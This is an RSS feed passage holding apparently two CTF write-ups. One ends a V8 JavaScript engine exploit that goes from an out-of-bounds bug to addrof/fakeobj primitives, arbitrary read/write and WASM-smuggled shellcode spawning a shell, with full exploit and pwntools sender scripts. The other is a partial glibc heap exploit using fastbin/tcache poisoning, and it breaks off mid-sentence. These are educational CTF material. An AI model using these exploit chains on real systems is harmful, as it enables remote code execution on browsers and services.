&#39;0x&#39; + this.toString(16);<br>};<br><br>// Convert BigInt to float representation<br>BigInt.prototype.i2f = function () {<br>    int_view[0] = this;<br>    return float_view[0];<br>}<br><br>// Set the lowest bit to represent a tagged pointer<br>BigInt.prototype.tag = function () {<br>    return this | 1n;<br>};<br><br>// Unset the lowest bit to represent an untagged pointer<br>BigInt.prototype.unTag = function () {<br>    return this &amp; ~(1n);<br>}<br><br>BigInt.prototype.toSmi = function () {<br>    return this &lt;&lt; 1n;<br>}<br><br>BigInt.prototype.fromSmi = function () {<br>    return this &gt;&gt; 1n;<br>}<br><br>// get low dword<br>BigInt.prototype.low = function () {<br>    return this &amp; BigInt(0xffffffffn);<br>};<br><br>// get high dword<br>BigInt.prototype.high = function () {<br>    return this &gt;&gt; BigInt(32);<br>}<br><br>// Convert a Number to hex representation<br>Number.prototype.hex = function () {<br>    return &#39;0x&#39; + this.toString(16);<br>};<br><br>// Convert a Number (float) to integer representation<br>Number.prototype.f2i = function () {<br>    float_view[0] = this;<br>    return int_view[0];<br>}<br><br>function pack(low, high) {<br>  return low | (high &lt;&lt; 32n);<br>}<br><br>function sleepFor(sleepDuration) {<br>    var now = new Date().getTime();<br>    while (new Date().getTime() &lt; now + sleepDuration) { /* do nothing */ }<br>}<br><br>function loghex(x)<br>{<br>  console.log(x.hex());<br>}</pre><p>The reason Ihave a float to BigInt convertor is that the values I read with the OOB are float numbers which are impractical to work with.</p><p>The high and low methods are for extracting the upper 4 bytes or lower 4 bytes of an 8 byte value, I need them due to <a href="https://v8.dev/blog/pointer-compression">v8’s pointer compression</a>.</p><h4>addrof &amp; fakeobj primitives</h4><p>In V8 exploitation the first primitives needed to get arbitrary read and write are addrof and fakeobj. They allow me to both get the address of any heap object and make v8 treat something as an object respectively.</p><p>There are various ways to get these capabilities, in this section I will interact directly with the pointers of the array elements.</p><p>As shown in the internals section, the elements of a float array are situated right before its fields in-memory. Let’s re-verify it.</p><pre>// conversation arrays<br>const conversion_buffer = new ArrayBuffer(8);<br>const float_view        = new Float64Array(conversion_buffer);<br>const int_view          = new BigUint64Array(conversion_buffer);<br><br>// Convert BigInt to hex representation<br>BigInt.prototype.hex = function () {<br>    return &#39;0x&#39; + this.toString(16);<br>};<br><br>// Convert BigInt to float representation<br>BigInt.prototype.i2f = function () {<br>    int_view[0] = this;<br>    return float_view[0];<br>}<br><br>// Set the lowest bit to represent a tagged pointer<br>BigInt.prototype.tag = function () {<br>    return this | 1n;<br>};<br><br>// Unset the lowest bit to represent an untagged pointer<br>BigInt.prototype.unTag = function () {<br>    return this &amp; ~(1n);<br>}<br><br>BigInt.prototype.toSmi = function () {<br>    return this &lt;&lt; 1n;<br>}<br><br>BigInt.prototype.fromSmi = function () {<br>    return this &gt;&gt; 1n;<br>}<br><br>// get low dword<br>BigInt.prototype.low = function () {<br>    return this &amp; BigInt(0xffffffffn);<br>};<br><br>// get high dword<br>BigInt.prototype.high = function () {<br>    return this &gt;&gt; BigInt(32);<br>}<br><br>// Convert a Number to hex representation<br>Number.prototype.hex = function () {<br>    return &#39;0x&#39; + this.toString(16);<br>};<br><br>// Convert a Number (float) to integer representation<br>Number.prototype.f2i = function () {<br>    float_view[0] = this;<br>    return int_view[0];<br>}<br><br>function pack(low, high) {<br>  return low | (high &lt;&lt; 32n);<br>}<br><br>function sleepFor(sleepDuration) {<br>    var now = new Date().getTime();<br>    while (new Date().getTime() &lt; now + sleepDuration) { /* do nothing */ }<br>}<br><br>function loghex(x)<br>{<br>  console.log(x.hex());<br>}<br><br><br>async function* generator() {<br>    yield 1;<br>}<br><br>const gen = generator();   <br>let corrupted_arr = [1.1];<br>let obj = {a : 1.1}<br>let obj2 = {b: 2.2, c:3.3}<br>let victim = [obj]<br><br>function MyConstructor(executor) {<br>    function myResolve(value) {<br>        ;<br>    }<br>    function myReject(err) {<br>        ;<br>    }<br>    executor(myResolve, myReject);<br><br>    return corrupted_arr;<br>}<br><br>Object.defineProperty(Promise, Symbol.species, {<br>    &quot;value&quot;: MyConstructor<br>});<br><br>gen[Symbol.asyncDispose]();<br><br>%DebugPrint(victim);<br><br>for (let i = 0; i &lt; 50; i++) {<br>        console.log(&quot;i: &quot; + i + &quot; high: &quot; + corrupted_arr[i].f2i().high().hex() + &quot; low: &quot; + corrupted_arr[i].f2i().low().hex())<br>}<br><br>victim[0] = obj2;<br>%DebugPrint(victim);<br><br>for (let i = 0; i &lt; 50; i++) {<br>        console.log(&quot;i: &quot; + i + &quot; high: &quot; + corrupted_arr[i].f2i().high().hex() + &quot; low: &quot; + corrupted_arr[i].f2i().low().hex())<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*1Me2NqYN-4B0nzi8ofV5-A.png" /><figcaption>I have to look for 0x1085421 in memory</figcaption></figure><p>There are quite a few references to the address of the element in the heap memory, the first few ones are irrelevant to me (this can be checked by changing the victim element to another object and rechecking the values in memory). I am interested in the pointer stored in the elements field.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/448/1*VHgj4KWlAkUI8r1z2CG70A.png" /><figcaption>Our target</figcaption></figure><p>Let’s check if this is the valid one. In the code I printed the state of the memory after having obj as the element of victim, after that the state of when obj is replaced with obj2.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*mF8BpMVPm60769ORp9Nm2g.png" /><figcaption>The new address I need to check is 0x1085475</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/474/1*NMp0WMwb9FQ7xgop42huVA.png" /></figure><p>So corrupted_arr[35] contains the address of the first element in the victim array.</p><p>This allows me to read the address of whatever is in victim[0], and forge a fake object by replacing that address with the address of another heap object.</p><pre>function fakeaddr(obj_) {<br>    victim[0] = obj_;<br>    return corrupted_arr[35].f2i().high();<br>}<br><br>function fakeobj(addr) {<br>    corrupted_arr[35] = addr.i2f();<br>    return victim[0]<br>}</pre><p>Testing it out, everything seems to work:</p><pre>// snip<br><br>gen[Symbol.asyncDispose]();<br><br>%DebugPrint(obj);<br>%DebugPrint(obj2);<br><br>//for (let i = 0; i &lt; 50; i++) {<br>//    console.log(&quot;i: &quot; + i + &quot; high: &quot; + corrupted_arr[i].f2i().high().hex() + &quot; low: &quot; + corrupted_arr[i].f2i().low().hex())<br>//}<br><br>//victim[0] = obj2;<br>//%DebugPrint(victim);<br><br>//for (let i = 0; i &lt; 50; i++) {<br>//    console.log(&quot;i: &quot; + i + &quot; high: &quot; + corrupted_arr[i].f2i().high().hex() + &quot; low: &quot; + corrupted_arr[i].f2i().low().hex())<br>//}<br><br>function addrof(obj_) {<br>    victim[0] = obj_;<br>    return corrupted_arr[35].f2i().high();<br>}<br><br>function fakeobj(addr) {<br>    corrupted_arr[35] = pack(corrupted_arr[35].f2i().low(), addr).i2f();<br>    return victim[0]<br>}<br>loghex(addrof(obj));<br>loghex(addrof(obj2));<br><br>%DebugPrint(fakeobj(addrof(obj)));</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/548/1*tJV4TBh1UPvNvGssAMnvlw.png" /><figcaption>First objet’s address</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/537/1*vg8-8HakZCopcjOxJX9zpw.png" /><figcaption>Second objet’s address</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/156/1*vMzaJZE8Ld7QIvSF2NhwNA.png" /><figcaption>values returned by addrof</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*tL_4Uii8em7W55kvXM6L9Q.png" /><figcaption>Output of %DebugPrint(fakeobj(…))</figcaption></figure><p><strong>Caged arbitrary read &amp; write</strong></p><p>Now it’s time to make the caged arbitrary read and write primitives.</p><p>Usually in V8 exploits you’re supposed to change the map of a floats array with the map of an objects array and use the fakeobj primitive to trick V8 into dereferencing an arbitrary address you provide.</p><p>But in this case since the OOB’s range is so long I can change the elements pointer of a float array to make it read and write anywhere I want it to in the heap.</p><p>First I’ll have to make a new float array that I’ll use for the RW primitives, and then look for its element pointer in memory (like I did for finding the addresses before).</p><pre>// &lt;snip&gt;<br>rw_arr = [1.1];<br>%DebugPrint(rw_arr);<br><br>for (let i = 0; i &lt; 200; i++) {<br>    console.log(&quot;i: &quot; + i + &quot; high: &quot; + corrupted_arr[i].f2i().high().hex() + &quot; low: &quot; + corrupted_arr[i].f2i().low().hex())<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*b0Ui3rqhPr7MbW15nTRmuw.png" /><figcaption>I have to look for 0x1085981 in memory</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/398/1*H8-svu8OGrY1eBwZB-tUmw.png" /><figcaption>Found it at i = 175</figcaption></figure><p>Remember that elements are located 0x8 bytes after the address of elements.</p><pre>4 bytes   | 4 bytes<br>-------------------<br>MAP       | BACKING ARRAY LENGTH<br>       ELEMENT 1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/588/1*EKSOhJIFfCz_CZmn4ZqN8w.png" /><figcaption>What elements point to</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/378/1*6IrY_mNCoG-LadwQI52C3Q.png" /><figcaption>The element of our array</figcaption></figure><p>So when changing this pointer I should make it point 8 bytes before the address where I want to read/write.</p><ul><li>Also a small note here : when writing things in memory with a float array, I write a full 8 byte value everytime, therefore I must be careful to preserve what was in the lower/higher 4 bytes of the place I write to. In this case I only want to change the lower 4 bytes that contain the elements offset, so I must add the value I will write with the higher 4 bytes aswell before writing.</li></ul><pre>function caged_read(addr) { <br>        corrupted_arr[175] = ((0x200000000n) + addr-0x08n).i2f()<br>        return rw_arr[0].f2i()<br>}<br><br>function caged_write(addr, value) { <br>        corrupted_arr[175] = ((0x200000000n) + addr-0x08n).i2f()<br>        rw_arr[0] = value.i2f()<br>}</pre><p>I substracted 8 from the address I want to read/write to in order to account for the 8 byte offset discussed earlier.</p><p>I added 0x2 as it is the length of the array encoded as an SMI, it is shifted to the right to allow space for the address.</p><pre>4 bytes                | 4 bytes<br>--------------------------------------<br>ELEMENTS &lt;- addr - 0x8 | LENGTH &lt;- 0x2<br>--------------------------------------</pre><p>Let’s test if everything is working as expected:</p><pre>test = {&#39;b&#39;: 2.2};<br>%DebugPrint(test);<br>loghex(caged_read(addrof(test)));<br>caged_write(addrof(test), 0xdeadbeefn)<br>loghex(caged_read(addrof(test)));</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/541/1*eU3wNoXnflGF1htTC6pytQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/202/1*68XVXQmrCa6rGCKBkiPDwQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/571/1*PGG0Bxti05j8lkJzIxNxuw.png" /></figure><p>Everything works! Now that I have all of the primitives I need I will use them to get code execution.</p><p><strong>Code execution through WASM shellcode smuggling</strong></p><p>In the real world, V8 has an additional layer of security: Ubercage, V8’s sandbox. How this sandbox works is that any and every ‘dangerous’ pointer is moved out of the heap into a trusted zone. And to access these pointers the heap only stores an offset used to traverse a pointer table. Since this ctf challenge is rather simple the V8 sandbox is disabled and I can find the pointer to the WASM page I create rather easily.</p><p>There are various ways to get execution in V8, I will use WASM shellcode smuggling in this case.</p><pre>var wasm_code = new Uint8Array([<br>0,97,115,109,1,0,0,0,1,4,1,96,0,0,3,3,2,0,0,5,3,1,0,1,7,19,2,7,116,114,105,103,103,101,114,0,0,5,115,104,101,108,108,0,1,10,99,2,3,0,1,11,93,0,65,0,66,-44,-68,-59,-7,-113,-110,-28,-11,9,55,3,0,65,8,66,-70,-95,-128,-128,-128,-128,-28,-11,6,55,3,0,65,16,66,-79,-128,-65,-88,-128,-110,-28,-11,6,55,3,0,65,24,66,-72,-9,-128,-128,-128,-128,-28,-11,6,55,3,0,65,32,66,-44,-66,-59,-79,-97,-58,-12,-11,6,55,3,0,65,40,66,-113,-118,-84,-9,-113,-110,-92,-56,-112,127,55,3,0,11<br><br>]);<br><br>let wasm_mod = new WebAssembly.Module(wasm_code);<br>let wasm_instance = new WebAssembly.Instance(wasm_mod);<br>var shell = wasm_instance.exports.shell;<br>var trigger = wasm_instance.exports.trigger;<br><br>shell();</pre><p>This WASM code is special in the way that it contains various i64 constants which are instructions encoded in a way such that it always ends with a jmp to the next shellcode constant, this allows me to get a coherent execution even if the data of my WASM function is jumbled in memory.</p><p>I first call the shell function to cause it to be loaded into memory (load the RWX WASM page). Note that at this stage nothing happens yet because I didn’t tamper with anything about the WASM execution.</p><p>Let’s examine what the WASM Instance actually looks like.</p><pre>let instance_addr = addrof(wasm_instance);<br><br>%DebugPrint(wasm_instance);</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-0Q-jnqJlGrhHpyB23b6zQ.png" /></figure><p>Sandboxing is limited in the d8 I’m provided so the trusted_data pointer is still inside the v8 heap.</p><p>Let’s examine it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/585/1*1iS12ooHQ2obiSUY8qxbzQ.png" /><figcaption>It is located 8 bytes after the address of the WASM instance, on the high word</figcaption></figure><pre>let instance_addr = addrof(wasm_instance);<br>let trusted_data = caged_read(instance_addr + 0x8n).high();<br>loghex(trusted_data);<br>%DebugPrint(wasm_instance);</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*2qqKhCRvUkYrvG7UzK3DlQ.png" /></figure><pre>%DebugPrint(fakeobj(trusted_data));</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*TCbedYG455FBIyzGjXjdTA.png" /></figure><p>Lots of fields here! I’m mainly interested in jump_table_start as it contains the address the program will jump to in order to execute the WASM code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zk5_u127HD4YqLhETMxdQg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*SRwflpwtNoHZBMNYwcPR9A.png" /><figcaption>The WASM RWX page</figcaption></figure><pre>let jump_table_start = caged_read(trusted_data + 0x28n);<br>loghex(jump_table_start);</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/186/1*xXYYrfZrckyY58eNumG4Yw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/438/1*5T2zBOmwEM23Kx1wlEGXgQ.png" /></figure><p>Good! I’m almost there. Now I need to find where our i64 constants are.</p><p>Running d8 with --print-wasm-code shows the offset of where my wasm code is.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*x9MNb3kvoQlXjl7rPTdY8A.png" /></figure><p>Remember: I do not want to jump to our code per se, but rather jump to the shellcode i64 constants.</p><p>The constants loading start at + 0x9dc</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*W_YAOkToWL-wIQvw8Y-DiA.png" /><figcaption>the i64 constants are the ones being moved into rax</figcaption></figure><p>Let’s examine what is in the i64 constants (add the offset to read the value of the immediate constant in the instruction):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*YOozIr_RbfmoP9XvnuqQjA.png" /><figcaption>Ignore the changed addresses, had to rerun</figcaption></figure><p>It first runs read(0, rsp, 0x10)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*AgvGTb6FnG-sc49nsWHpzQ.png" /></figure><p>Then it runs execve(rsp, 0, 0)</p><p>Which means I’ll need to send ‘/bin/sh\x00’ when the payload is executed to pop a shell.</p><p>So I need to replace the jump table address with the address of my smuggled shellcode.</p><pre>caged_write(trusted_data_addr + 0x28, jump_table_start + 0x9de);</pre><p>and then I need call a WASM function again to trigger my shellcode, the WASM code contains a trigger function that does nothing (only contains a nop), I will use it to trigger the shellcode execution.</p><pre>trigger();</pre><p>Final javascript file:</p><pre>// conversation arrays<br>const conversion_buffer = new ArrayBuffer(8);<br>const float_view        = new Float64Array(conversion_buffer);<br>const int_view          = new BigUint64Array(conversion_buffer);<br><br>// Convert BigInt to hex representation<br>BigInt.prototype.hex = function () {<br>    return &#39;0x&#39; + this.toString(16);<br>};<br><br>// Convert BigInt to float representation<br>BigInt.prototype.i2f = function () {<br>    int_view[0] = this;<br>    return float_view[0];<br>}<br><br>// Set the lowest bit to represent a tagged pointer<br>BigInt.prototype.tag = function () {<br>    return this | 1n;<br>};<br><br>// Unset the lowest bit to represent an untagged pointer<br>BigInt.prototype.unTag = function () {<br>    return this &amp; ~(1n);<br>}<br><br>BigInt.prototype.toSmi = function () {<br>    return this &lt;&lt; 1n;<br>}<br><br>BigInt.prototype.fromSmi = function () {<br>    return this &gt;&gt; 1n;<br>}<br><br>// get low dword<br>BigInt.prototype.low = function () {<br>    return this &amp; BigInt(0xffffffffn);<br>};<br><br>// get high dword<br>BigInt.prototype.high = function () {<br>    return this &gt;&gt; BigInt(32);<br>}<br><br>// Convert a Number to hex representation<br>Number.prototype.hex = function () {<br>    return &#39;0x&#39; + this.toString(16);<br>};<br><br>// Convert a Number (float) to integer representation<br>Number.prototype.f2i = function () {<br>    float_view[0] = this;<br>    return int_view[0];<br>}<br><br>function pack(low, high) {<br>  return low | (high &lt;&lt; 32n);<br>}<br><br>function sleepFor(sleepDuration) {<br>    var now = new Date().getTime();<br>    while (new Date().getTime() &lt; now + sleepDuration) { /* do nothing */ }<br>}<br><br>function loghex(x)<br>{<br>  console.log(x.hex());<br>}<br><br><br>async function* generator() {<br>    yield 1;<br>}<br><br>const gen = generator();   <br>let corrupted_arr = [1.1];<br>let obj = {a : 1.1}<br>let obj2 = {b: 2.2, c:3.3}<br>let victim = [obj]<br><br>function MyConstructor(executor) {<br>    function myResolve(value) {<br>        ;<br>    }<br>    function myReject(err) {<br>        ;<br>    }<br>    executor(myResolve, myReject);<br><br>    return corrupted_arr;<br>}<br><br>Object.defineProperty(Promise, Symbol.species, {<br>    &quot;value&quot;: MyConstructor<br>});<br><br>gen[Symbol.asyncDispose]();<br><br>function addrof(obj_) {<br>    victim[0] = obj_;<br>    return corrupted_arr[35].f2i().high();<br>}<br><br>function fakeobj(addr) {<br>    corrupted_arr[35] = pack(corrupted_arr[35].f2i().low(), addr).i2f();<br>    return victim[0]<br>}<br><br>rw_arr = [1.1];<br><br>function caged_read(addr) { <br>        corrupted_arr[175] = ((0x200000000n) + addr-0x08n).i2f()<br>        return rw_arr[0].f2i()<br>}<br><br>function caged_write(addr, value) { <br>        corrupted_arr[175] = ((0x200000000n) + addr-0x08n).i2f()<br>        rw_arr[0] = value.i2f()<br>}<br><br>var wasm_code = new Uint8Array([<br>0,97,115,109,1,0,0,0,1,4,1,96,0,0,3,3,2,0,0,5,3,1,0,1,7,19,2,7,116,114,105,103,103,101,114,0,0,5,115,104,101,108,108,0,1,10,99,2,3,0,1,11,93,0,65,0,66,-44,-68,-59,-7,-113,-110,-28,-11,9,55,3,0,65,8,66,-70,-95,-128,-128,-128,-128,-28,-11,6,55,3,0,65,16,66,-79,-128,-65,-88,-128,-110,-28,-11,6,55,3,0,65,24,66,-72,-9,-128,-128,-128,-128,-28,-11,6,55,3,0,65,32,66,-44,-66,-59,-79,-97,-58,-12,-11,6,55,3,0,65,40,66,-113,-118,-84,-9,-113,-110,-92,-56,-112,127,55,3,0,11<br><br>]);<br><br>let wasm_mod = new WebAssembly.Module(wasm_code);<br>let wasm_instance = new WebAssembly.Instance(wasm_mod);<br>var shell = wasm_instance.exports.shell;<br>var trigger = wasm_instance.exports.trigger;<br><br>shell();<br><br>let instance_addr = addrof(wasm_instance);<br>let trusted_data = caged_read(instance_addr + 0x8n).high();<br>let jump_table_start = caged_read(trusted_data + 0x28n);<br>caged_write(trusted_data + 0x28n, jump_table_start + 0x9den);<br><br>console.log(&quot;pwned&quot;);<br>trigger();</pre><p>The python script for sending the exploit:</p><pre>#!/usr/bin/env python3<br>from pwn import *<br>import os<br><br># Set context to suppress initial connection messages, can be changed to &#39;debug&#39; for more info<br><br>def main():<br>    # 1. Read the Javascript payload<br>    js_file = &quot;./t.js&quot; # CHANGE THIS<br>    <br>    if not os.path.exists(js_file):<br>        log.error(f&quot;Could not find {js_file}&quot;)<br>        return<br><br>    with open(js_file, &quot;rb&quot;) as f:<br>        payload = f.read()<br><br>    payload_size = len(payload)<br>    log.info(f&quot;Loaded {js_file} | Size: {payload_size} bytes&quot;)<br><br>    # Safety check based on the server code provided<br>    if payload_size &gt;= 20000:<br>        log.warning(&quot;Payload size exceeds server limit (20000)!&quot;)<br><br>    # 2. Establish Connection<br>    # Use: python solve.py REMOTE HOST=1.2.3.4 PORT=1337<br>    if args.REMOTE:<br>        if not args.HOST or not args.PORT:<br>            log.error(&quot;Please provide HOST=... and PORT=... arguments for remote connection&quot;)<br>        io = remote(args.HOST, int(args.PORT))<br>    else:<br>        # Local testing: assumes the server script is named &#39;challenge.py&#39; <br>        # and &#39;d8&#39; exists in the current directory<br>        io = process([&#39;python3&#39;, &#39;start_d8.py&#39;])<br><br>    # 3. Interaction Logic<br>    <br>    # Wait for: &quot;Enter solve script file size: &quot;<br>    # We send the size as a string followed by a newline because the server uses input()<br>    io.recvuntil(b&#39;size: &#39;)<br>    io.sendline(str(payload_size).encode())<br>    <br>    io.send(payload)<br><br>    log.success(&quot;Payload sent! Waiting for pwned signal...&quot;)<br><br>    io.sendlineafter(b&quot;pwned&quot;, b&quot;/bin/sh\x00&quot;)<br>    log.success(&quot;Signal received! Brace for shell..&quot;)<br><br>    # 4. Stream output (d8 execution results)<br>    io.interactive()<br><br>if __name__ == &quot;__main__&quot;:<br>    main()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*2rsgLts364F8WngOyt7VQA.png" /></figure><p>References used in the process of writing this article:</p><ul><li><a href="https://exploitreversing.com/wp-content/uploads/2025/01/exploit_reversing_03.pdf">Alexander Borges’ article about browser exploitation</a></li><li><a href="https://w1redch4d.github.io/post/intro-v8/">https://w1redch4d.github.io/post/intro-v8/</a></li><li><a href="https://phrack.org/issues/70/9">saelo’s excellent phrack article</a></li><li><a href="https://mwlik.github.io/2025-05-15-browser-exploitation-primer/">m411k’s browser exploitation primer</a></li><li><a href="https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/">https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/</a></li><li><a href="https://www.thenodebook.com/node-arch/v8-engine-intro">https://www.thenodebook.com/node-arch/v8-engine-intro</a></li><li>all the v8 blog posts I linked throughout the article</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5ee8ad23bfca" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[PWN] spell manager writeup]]></title>
            <link>https://medium.com/@suleif/pwn-spell-manager-writeup-fe4bfeb63d0a?source=rss-f9474787f7da------2</link>
            <guid isPermaLink="false">https://medium.com/p/fe4bfeb63d0a</guid>
            <dc:creator><![CDATA[suleif]]></dc:creator>
            <pubDate>Fri, 24 Oct 2025 18:59:47 GMT</pubDate>
            <atom:updated>2025-10-24T18:59:47.637Z</atom:updated>
            <content:encoded><![CDATA[<p>PWN, Heap, Fastbins, Stack pivot, ROP</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I_8q2ZRd5ZZJpBA4d36uDQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/330/1*UlTgMdnDwbCKdqh5Xhrbzg.png" /><figcaption>spell manager</figcaption></figure><p>It is the usual CRUD heap application, libc is v 2.39.</p><h3>Analysis of the add_spell function:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/1*-xsQNoEZ979vv5Cy56wZ6w.png" /></figure><p>It first allocates a 0x80 chunk with calloc, and then fills it up with data that comes from the various prompts we get, see the images below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/455/1*QDVCqvMk0IUMbONZeCGw5w.png" /><figcaption>The input I entered</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*P8h4LxOOVwqhc8QOGYMRMw.png" /><figcaption>Our data in the heap</figcaption></figure><p>The editing and deleting and viewing functions are usual functions which we do not need to detail. (With delete having a <strong>UAF bug </strong>!)</p><p>But there is this feedback function worth taking a look at:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*Nl0XZvS0DVVsSAr0cZpPow.png" /><figcaption>the meat of feedback</figcaption></figure><p>This function allows to allocate up to two times a chunk whose size we input (and which need to be less than 0x100).</p><h3>The exploit</h3><ol><li>We will first leak a heap address by using the UAF</li><li>We will then fill up the tcache (calloc doesn’t allocate from the tcache in this libc version)</li><li>We will then hijack the fd of a fastbin chunk to overwrite the size field of a chunk we control.</li><li>Make the size big enough to make the chunk go to the unsorted bin when freed</li><li>Leak the main_arena address and obtain the libc base address</li><li>Leak a stack pointer</li><li>Find a fake chunk in the stack of size 0x80</li><li>Hijack the fd of a fastbin chunk to pivot to that fake chunk</li><li>Overwrite RIP with a classic ROP chain leading to popping a shell</li></ol><h3>Set up:</h3><p>First let’s setup our pwntools script to do all the actions we need to do (malloc, frees, edit, feedback..)</p><pre>def new_spell(idx, name=b&quot;A&quot;*8, effect=b&quot;B&quot;*8, cost=0x999, cd=0x888, el=0x777):<br>    r.sendlineafter(b&quot;: &quot;, b&quot;1&quot;)<br>    r.sendlineafter(b&quot;(0-31): &quot;, str(idx).encode())<br>    r.sendlineafter(b&quot;name: &quot;, name)<br>    r.sendlineafter(b&quot;effect: &quot;, str(effect).encode())<br>    r.sendlineafter(b&quot;cost: &quot;, str(cost).encode())<br>    r.sendlineafter(b&quot;seconds): &quot;, str(cd).encode())<br>    r.sendlineafter(b&quot;Choice: &quot;, str(el).encode())<br>    idx += 1<br>    return idx-1<br><br>def edit_spell(idx, name=&quot;A&quot;*8, effect=&quot;B&quot;*8, cost=0, cd=0, el=0):<br>    r.sendlineafter(b&quot;: &quot;, b&quot;2&quot;)<br>    r.sendlineafter(b&quot;(0-31): &quot;, str(idx).encode())<br>    r.sendlineafter(b&quot;name: &quot;, name)<br>    r.sendlineafter(b&quot;effect: &quot;, str(effect).encode())<br>    r.sendlineafter(b&quot;cost: &quot;, str(cost).encode())<br>    r.sendlineafter(b&quot;seconds): &quot;, str(cd).encode())<br>    r.sendlineafter(b&quot;Choice: &quot;, str(el).encode())<br><br>def delete_spell(idx):<br>    r.sendlineafter(b&quot;: &quot;, b&quot;4&quot;)<br>    r.sendlineafter(b&quot;: &quot;, str(idx).encode())<br><br>def view_spell(idx):<br>    r.sendlineafter(b&quot;: &quot;, b&quot;3&quot;)<br>    line = r.recvuntil(b&quot;=== Grimoire Menu ===&quot;).split(b&quot;Slot&quot;)[idx+1]<br>    data = line.split(b&quot;\n&quot;)[1:]<br>    name = data[0][7:]<br>    return name<br><br>def feedback(size, data):<br>    r.sendlineafter(b&quot;: &quot;, b&quot;5&quot;)<br>    r.sendlineafter(b&quot;: &quot;, str(size).encode())<br>    r.sendlineafter(b&quot;: &quot;, data)</pre><h3>1. Heap leak:</h3><pre>a = new_spell(0)<br>delete_spell(0)<br>heap = u64(view_spell(0)[1:].ljust(8, b&quot;\x00&quot;)) &lt;&lt; 12<br>success(f&quot;heap: {hex(heap)}&quot;)</pre><p>We shift the address by 12 bits due to it missing 3 zeros from the leak</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*pCKUe3Zz0-Acppz5oZo1Tg.png" /><figcaption>We will get 0x55555555c</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*HHwBuQm6Y6ah02yKHltMHw.png" /><figcaption>The heap starts at 0x55555555c000</figcaption></figure><h3>2 - 5. Leaking libc:</h3><pre>for i in range(1, 15):<br>    new_spell(i, effect=chr(i+65)*8)<br><br># fill up tcache<br>for i in range(3,9):<br>    delete_spell(i)<br><br>delete_spell(1)<br># Leak libc through fastbin poisoning<br>edit_spell(1, p64(heap + 0x380 ^ ((heap + 0x320) &gt;&gt; 12)), p64(0) + p64(0x80))<br>new_spell(1, b&quot;Z&quot;*8, b&quot;C&quot;*8, 0, 0, 0x81)<br>new_spell(15, p64(0) + p64(0x481), b&quot;\x00&quot;) # Fake a 0x481 size chunk<br>delete_spell(2)<br>libc_leak = u64(view_spell(2)[1:].ljust(8, b&quot;\x00&quot;))<br>libc.address = libc_leak - libc.symbols[&quot;main_arena&quot;] - 0x60<br>info(f&quot;libc: {hex(libc.address)}&quot;)</pre><p>A few notes here:</p><p>heap + 0x380 points to 0x10 before the size field of the chunk we’re corrupting (it’s the chunk indexed at 2 here)</p><p>heap + 0x320 points to the fd of the fastbin chunk we’re poisoning</p><p>We need to allocate a lot of chunks before attempting this so that when we free our (fake) 0x480 chunk we do not end up freeing the top chunk.</p><p>If this is the first time you see this kind of poisoning, you must read about libc’s <a href="https://ir0nstone.gitbook.io/notes/binexp/heap/safe-linking">safe linking</a></p><h3>6. Leaking a stack pointer</h3><pre>edit_spell(8, p64(((libc.symbols[&quot;__libc_argv&quot;] - 0x10)) ^ ((heap + 0x6a0 ) &gt;&gt; 12)))<br>feedback(0x78, &quot;F&quot;*8)<br>feedback(0x78, b&quot;A&quot;*0x10)<br>r.recvuntil(b&quot;A&quot; * 0x10)<br>stack = u64(r.recv(6).strip().ljust(8, b&quot;\x00&quot;)) &lt;&lt; 8</pre><p>We redo the same kind of poisoning but this time we use the feedback function due to use using a tcache poisoning attack this time.</p><h3>7. Finding a suitable fake chunk</h3><p>To find a suitable fake chunk in the stack I used the following gdb command:</p><pre>search -t qword 0x81 [stack]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lg0SAbsHPrGuDoF2TM60hg.png" /><figcaption>here I found 0x7fff8ff7e88</figcaption></figure><p>By playing around for a bit I found this address that is relatively stable (works about once in 5 